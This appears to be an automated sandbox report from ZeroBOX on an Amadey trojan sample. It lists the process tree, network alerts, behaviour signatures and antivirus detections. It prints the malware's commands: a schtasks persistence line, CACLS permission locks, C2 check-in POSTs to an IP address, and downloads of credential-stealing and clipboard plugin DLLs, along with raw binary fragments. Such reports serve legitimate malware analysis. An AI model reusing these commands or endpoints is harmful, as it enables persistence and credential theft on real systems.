Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 30, 2023, 12:53 p.m.	Sept. 30, 2023, 1:03 p.m.

Size	226.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`aebaf57299cd368f842cfa98f3b1658c`
SHA256	`d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce`
CRC32	`ACEB78BF`
ssdeep	`6144:k5tErvkeLE0X7J7bhi1g6FKVu+dnX9ys8l+:CYkeg0Nbh6FKu+dnX`
PDB Path	D:\Mktmp\Amadey\Release\Amadey.pdb
Yara	Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE32 - (no description) Malicious_Packer_Zero - Malicious Packer OS_Processor_Check_Zero - OS Processor Check

Amadey.exe "C:\Users\test22\AppData\Local\Temp\Amadey.exe"
1516
- nhdues.exe "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
  2136
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
    2236
  - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "test22:N"&&CACLS "nhdues.exe" /P "test22:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "test22:N"&&CACLS "..\1ff8bec27e" /P "test22:R" /E&&Exit
    2292
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2364
    - cacls.exe CACLS "nhdues.exe" /P "test22:N"
      2404
    - cacls.exe CACLS "nhdues.exe" /P "test22:R" /E
      2456
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2504
    - cacls.exe CACLS "..\1ff8bec27e" /P "test22:N"
      2540
    - cacls.exe CACLS "..\1ff8bec27e" /P "test22:R" /E
      2596
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a967e0f403b652\cred64.dll, Main
    2168
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a967e0f403b652\cred64.dll, Main
      2204
  - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a967e0f403b652\clip64.dll, Main
    2248

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
193.42.32.29	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49172 -> 193.42.32.29:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 193.42.32.29:80	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49173 -> 193.42.32.29:80	2044597	ET MALWARE Amadey Bot Activity (POST) M1	A Network Trojan was detected
TCP 192.168.56.103:49173 -> 193.42.32.29:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 193.42.32.29:80 -> 192.168.56.103:49173	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.42.32.29:80 -> 192.168.56.103:49173	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.103:49173 -> 193.42.32.29:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 30, 2023, 12:53 p.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameA Sept. 30, 2023, 12:47 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 30, 2023, 12:47 p.m.			0	0
IsDebuggerPresent Sept. 30, 2023, 12:54 p.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 30, 2023, 12:53 p.m.	buffer: SUCCESS: The scheduled task "nhdues.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Sept. 30, 2023, 12:53 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Sept. 30, 2023, 12:53 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 30, 2023, 12:53 p.m.	buffer: r console_handle: 0x00000007	1	1

This executable has a PDB path (1 event)

pdb_path

D:\Mktmp\Amadey\Release\Amadey.pdb

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 30, 2023, 12:53 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 30, 2023, 12:47 p.m.	stacktrace: Save+0x8d973 Main-0x1478d cred64+0x91e43 @ 0x7fef2c51e43 Save+0x8f58b Main-0x12b75 cred64+0x93a5b @ 0x7fef2c53a5b Save+0x90613 Main-0x11aed cred64+0x94ae3 @ 0x7fef2c54ae3 Save+0x909bf Main-0x11741 cred64+0x94e8f @ 0x7fef2c54e8f Save+0xa1ae8 Main-0x618 cred64+0xa5fb8 @ 0x7fef2c65fb8 Main+0x65 cred64+0xa6635 @ 0x7fef2c66635 rundll32+0x2f42 @ 0xff522f42 rundll32+0x3b7a @ 0xff523b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 42 38 3c 00 75 f7 48 8b d0 48 8d 4c 24 50 e8 fa exception.instruction: cmp byte ptr [rax + r8], dil exception.exception_code: 0xc0000005 exception.symbol: Save+0x8d973 Main-0x1478d cred64+0x91e43 exception.address: 0x7fef2c51e43 registers.r14: 0 registers.r15: 0 registers.rcx: 1099511627775 registers.rsi: 0 registers.r10: 668 registers.rbx: 0 registers.rsp: 2227264 registers.r11: 2222160 registers.r8: 0 registers.r9: 231940292619 registers.rdx: 4436816 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1 registers.r13: 0	1	0	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://193.42.32.29/9bDc8sQ/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://193.42.32.29/9bDc8sQ/index.php?scr=1
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.42.32.29/9bDc8sQ/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.42.32.29/9bDc8sQ/Plugins/clip64.dll

Performs some HTTP requests (4 events)

request	POST http://193.42.32.29/9bDc8sQ/index.php
request	POST http://193.42.32.29/9bDc8sQ/index.php?scr=1
request	GET http://193.42.32.29/9bDc8sQ/Plugins/cred64.dll
request	GET http://193.42.32.29/9bDc8sQ/Plugins/clip64.dll

Sends data using the HTTP POST Method (2 events)

request	POST http://193.42.32.29/9bDc8sQ/index.php
request	POST http://193.42.32.29/9bDc8sQ/index.php?scr=1

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 30, 2023, 12:54 p.m.	process_identifier: 2248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7343f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 30, 2023, 12:54 p.m.	process_identifier: 2248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x746e0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 30, 2023, 12:54 p.m.	process_identifier: 2248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73451000 process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

nhdues.exe tried to sleep 141 seconds, actually delayed analysis time by 141 seconds

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Roaming\a967e0f403b652\cred64.dll
file	C:\Users\test22\AppData\Roaming\a967e0f403b652\clip64.dll

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "nhdues.exe" /P "test22:N"&&CACLS "nhdues.exe" /P "test22:R" /E&&echo Y\|CACLS "..\1ff8bec27e" /P "test22:N"&&CACLS "..\1ff8bec27e" /P "test22:R" /E&&Exit
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\a967e0f403b652\clip64.dll

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Sept. 30, 2023, 12:53 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe	1	1
ShellExecuteExW Sept. 30, 2023, 12:53 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Sept. 30, 2023, 12:53 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "nhdues.exe" /P "test22:N"&&CACLS "nhdues.exe" /P "test22:R" /E&&echo Y\|CACLS "..\1ff8bec27e" /P "test22:N"&&CACLS "..\1ff8bec27e" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW Sept. 30, 2023, 12:54 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\a967e0f403b652\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW Sept. 30, 2023, 12:54 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\a967e0f403b652\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process nhdues.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile Sept. 30, 2023, 12:54 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $vÕtOÕtOÕtOpNÇtOwNÞtOqNetOzqNtOzpNÚtOzwNÜtOuNØtOÕuOktONy}NÑtONytNÔtONyOÔtONyvNÔtORichÕtOPEd«ídð" X Îp`úXØú@ø¼Pøà(pP)p Ð.textxW X `.rdataþp \ @@.data¼u<ü@À.pdata¼8@@_RDATA0Ö@@.rsrcø@Ø@@.relocøPÚ@BHì(A¸ HH Àè3o H L7 HÄ(éoò ÌÌÌHì(A¸ HH 0/èo H 7 HÄ(é?ò ÌÌÌHì(A¸HH à/èÓn H Ì7 HÄ(éò ÌÌÌHì(A¸ H_H +è£n H 8 HÄ(éßñ ÌÌÌHì(A¸HWH .èsn H L8 HÄ(é¯ñ ÌÌÌHì(A¸H?H P)èCn H 8 HÄ(éñ ÌÌÌHì(E3ÀHhH ã.èn H Ï8 HÄ(éRñ ÌÌÌÌÌÌHì(E3ÀHâgH /èæm H 9 HÄ(é"ñ ÌÌÌÌÌÌHì(E3ÀH²gH Cè¶m H O9 HÄ(éòð ÌÌÌÌÌÌHì(E3ÀHgH S(èm H 9 HÄ(éÂð ÌÌÌÌÌÌHì(A¸HoH (èSm H Ì9 HÄ(éð ÌÌÌHì(A¸HOH Ð/è#m H : HÄ(é_ð ÌÌÌHì(A¸H/H -èól H L: HÄ(é/ð ÌÌÌHì(A¸HH P'èÃl H : HÄ(éÿï ÌÌÌHì(A¸HïH à(èl H Ì: HÄ(éÏï ÌÌÌHì(A¸HßH °ècl H ; HÄ(éï ÌÌÌHì(A¸H¿H è3l H L; HÄ(éoï ÌÌÌHì(A¸HH )èl H ; HÄ(é?ï ÌÌÌHì(A¸HwH à)èÓk H Ì; HÄ(éï ÌÌÌHì(A¸H_H +è£k H < HÄ(éßî ÌÌÌHì(A¸H?H ,èsk H L< HÄ(é¯î ÌÌÌHì(A¸LHH p(èCk H < HÄ(éî ÌÌÌHì(A¸H?H À%èk H Ì< HÄ(éOî ÌÌÌHì(A¸dH/H P-èãj H = HÄ(éî ÌÌÌHì(A¸HgH ,è³j H L= HÄ(éïí ÌÌÌHì(A¸HOH ð)èj H = HÄ(é¿í ÌÌÌHì(A¸H?H @%èSj H Ì= HÄ(éí ÌÌÌHì(A¸HH pè#j H > HÄ(é_í ÌÌÌHì(A¸(HÿH )èói H L> HÄ(é/í ÌÌÌHì(A¸HÿH P+èÃi H > HÄ(éÿì ÌÌÌHì(A¸HßH À,èi H Ì> HÄ(éÏì ÌÌÌHì(A¸H¿H Ð)èci H ? HÄ(éì ÌÌÌHì(A¸HH +è3i H L? HÄ(éoì ÌÌÌHì(A¸HH °&èi H ? HÄ(é?ì ÌÌÌHì(A¸,HoH `'èÓh H Ì? HÄ(éì ÌÌÌHì(A¸HoH p&è£h H @ HÄ(éßë ÌÌÌHì(A¸H_H à)èsh H L@ HÄ(é¯ë ÌÌÌHì(A¸$H?H 0èCh H @ HÄ(éë ÌÌÌHì(A¸H7H @'èh H Ì@ HÄ(éOë ÌÌÌHì(A¸HH P"èãg H A HÄ(éë ÌÌÌHì(A¸HH 'è³g H LA HÄ(éïê ÌÌÌHì(A¸HÿH p$èg H A HÄ(é¿ê ÌÌÌHì(A¸ HßH @(èSg H ÌA HÄ(éê ÌÌÌHì(A¸ H×H P%è#g H B HÄ(é_ê ÌÌÌHì(A¸HoH "èóf H LB HÄ(é/ê ÌÌÌHì(A¸HH °$èÃf H B HÄ(éÿé ÌÌÌHì(A¸HH "èf H ÌB HÄ(éÏé ÌÌÌHì(A¸HgH p(ècf H C HÄ(éé ÌÌÌHì(A¸LHÿH à$è3f H LC HÄ(éoé ÌÌÌHì(A¸HH Ð$èf H C HÄ(é?é ÌÌÌHì(A¸dHÿH %èÓe H ÌC HÄ(éé ÌÌÌHì(A¸HÇH 0(è£e H D HÄ(éßè ÌÌÌHì(A¸H¯H 'èse H LD HÄ(é¯è ÌÌÌHì(A¸HH $èCe H D HÄ(éè ÌÌÌHì(A¸HwH À!èe H ÌD HÄ(éOè ÌÌÌHì(A¸HOH °'èãd H E HÄ(éè ÌÌÌHì(A¸H'H #è³d H LE HÄ(éïç ÌÌÌHì(A¸HÿH "èd H E HÄ(é¿ç ÌÌÌHì(A¸HßH ` èSd H ÌE HÄ(éç ÌÌÌHì(A¸?HH °#è#d H F HÄ(é_ç ÌÌÌH iF éPç ÌÌÌÌH ÉF é@ç ÌÌÌÌH )G é0ç ÌÌÌÌH G é ç ÌÌÌÌH éG éç ÌÌÌÌHì(E3ÀH¢]H è¦c H /H HÄ(éâæ ÌÌÌÌÌÌH H éÐæ ÌÌÌÌH éH éÀæ ÌÌÌÌH II é°æ ÌÌÌÌH ©I é æ ÌÌÌÌ request_handle: 0x00cc000c	1	1	0
InternetReadFile Sept. 30, 2023, 12:54 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELídà!Þ>ð°@0IÌI<øT°=p >@ð,.textVÝÞ `.rdata~`ðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌjhÉ<¹hè#h`êèlYÃÌÌÌjhÉ<¹ hèÿ"hÀêèLYÃÌÌÌjhÉ<¹¸hèß"h ëè,YÃÌÌÌjhÉ<¹Ðhè¿"hëè*YÃÌÌÌjhÉ<¹èhè"hàëèì)YÃÌÌÌjhÉ<¹iè"h@ìèÌ)YÃÌÌÌjhÉ<¹iè_"h ìè¬)YÃÌÌÌj?h=¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhIEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾Ð<Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÉ<ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hX=MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

193.42.32.29

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\test22\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Sept. 30, 2023, 12:53 p.m.	key_handle: 0x00000320 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "nhdues.exe" /P "test22:R" /E
cmdline	CACLS "nhdues.exe" /P "test22:N"
cmdline	CACLS "..\1ff8bec27e" /P "test22:N"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "nhdues.exe" /P "test22:N"&&CACLS "nhdues.exe" /P "test22:R" /E&&echo Y\|CACLS "..\1ff8bec27e" /P "test22:N"&&CACLS "..\1ff8bec27e" /P "test22:R" /E&&Exit
cmdline	cmd /k echo Y\|CACLS "nhdues.exe" /P "test22:N"&&CACLS "nhdues.exe" /P "test22:R" /E&&echo Y\|CACLS "..\1ff8bec27e" /P "test22:N"&&CACLS "..\1ff8bec27e" /P "test22:R" /E&&Exit
cmdline	CACLS "..\1ff8bec27e" /P "test22:R" /E

File has been identified by 55 AntiVirus engines on VirusTotal as malicious (50 out of 55 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Agent.Y!c
Elastic	Windows.Trojan.Amadey
MicroWorld-eScan	Gen:Variant.Zusy.446510
CAT-QuickHeal	Trojan.GenericPMF.S30511625
McAfee	Downloader-FCND!AEBAF57299CD
Malwarebytes	Spyware.Amadey
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan ( 005a7a4a1 )
Alibaba	TrojanDownloader:Win32/Amadey.410f7ab9
K7GW	Trojan ( 005a7a4a1 )
Cybereason	malicious.3425e8
Arcabit	Trojan.Zusy.D6D02E
BitDefenderTheta	Gen:NN.ZexaF.36738.ouW@amc4G5pi
Cyren	W32/Amadey.C1.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/TrojanDownloader.Amadey.A
Cynet	Malicious (score: 100)
APEX	Malicious
ClamAV	Win.Malware.Doina-10001799-0
Kaspersky	HEUR:Trojan-Spy.Win32.Stealer.gen
BitDefender	Gen:Variant.Zusy.446510
Avast	Win32:BotX-gen [Trj]
Tencent	Win32.Trojan.Agen.Zimw
Emsisoft	Gen:Variant.Zusy.446510 (B)
F-Secure	Heuristic.HEUR/AGEN.1319380
DrWeb	Trojan.DownLoader46.21896
VIPRE	Gen:Variant.Zusy.446510
TrendMicro	Trojan.Win32.AMADEY.YXDI3Z
McAfee-GW-Edition	BehavesLike.Win32.Downloader.dh
Trapmine	suspicious.low.ml.score
FireEye	Generic.mg.aebaf57299cd368f
Sophos	Mal/Amadey-C
Ikarus	Win32.Outbreak
